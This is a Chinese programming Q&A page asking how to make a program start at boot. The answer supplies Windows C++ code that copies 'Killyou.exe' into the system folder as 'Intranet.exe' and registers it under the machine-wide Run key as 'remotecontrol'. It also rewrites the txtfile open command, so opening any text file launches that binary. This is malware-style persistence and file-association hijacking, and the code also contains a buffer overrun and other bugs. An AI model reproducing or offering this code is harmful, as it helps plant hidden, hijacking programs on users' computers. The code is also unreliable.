當前位置:編程學習大全網 - 源碼下載 - 怎麽讓程序開機啟動?

怎麽讓程序開機啟動?

改了幾個地方,可編譯,但不知道是否滿足妳的需求。

#include <TCHAR.h>

#include <iostream.h>

#include <afx.h>

#ifdef MAX_PATH

#undef MAX_PATH

#define MAX_PATH 100

#endif

int main()

{

TCHAR TempPath[MAX_PATH];

CString temp;

::GetSystemDirectory(TempPath,MAX_PATH);

temp=TempPath;

temp=temp+_T("\\Intranet.exe");

int len=temp.GetLength();

LPBYTE lpb=new BYTE[len];

for(int j=0;j<len;j++)

{

lpb[j]=temp[j];

}

lpb[j]=0;

if(!CopyFile("Killyou.exe",temp,FALSE))

{

LPVOID lpMsgBuf;

FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,

NULL,/*==1=GetLasError()*/ GetLastError(),MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT),(LPTSTR)&lpMsgBuf,0,NULL);

MessageBox(NULL,(LPTSTR)&lpMsgBuf,"Error",MB_OK);

LocalFree(lpMsgBuf);

}

HKEY hKey;

LPCTSTR data_Set="Software\\Microsoft\\Windows\\CurrentVersion\\Run";

::RegOpenKeyEx(HKEY_LOCAL_MACHINE,data_Set,0,KEY_WRITE,&hKey);

::RegSetValueEx(hKey,_T("remotecontrol"),NULL,REG_SZ,lpb,len);

::RegCloseKey(hKey);

//==2=data_Set="txtfile\\shell\\open\\command"

data_Set="txtfile\\shell\\open\\command"; // “;”

::RegOpenKeyEx(HKEY_CLASSES_ROOT,data_Set,0,KEY_WRITE,&hKey);

::RegSetValueEx(hKey,NULL,NULL,REG_EXPAND_SZ,lpb,len);

::RegCloseKey(hKey);

//==3=dalete []lpb;

delete []lpb;

return 0;

}

  • 上一篇:管理人脈的方法
  • 下一篇:小Z和小C的愛情故事(真實故事)
  • copyright 2024編程學習大全網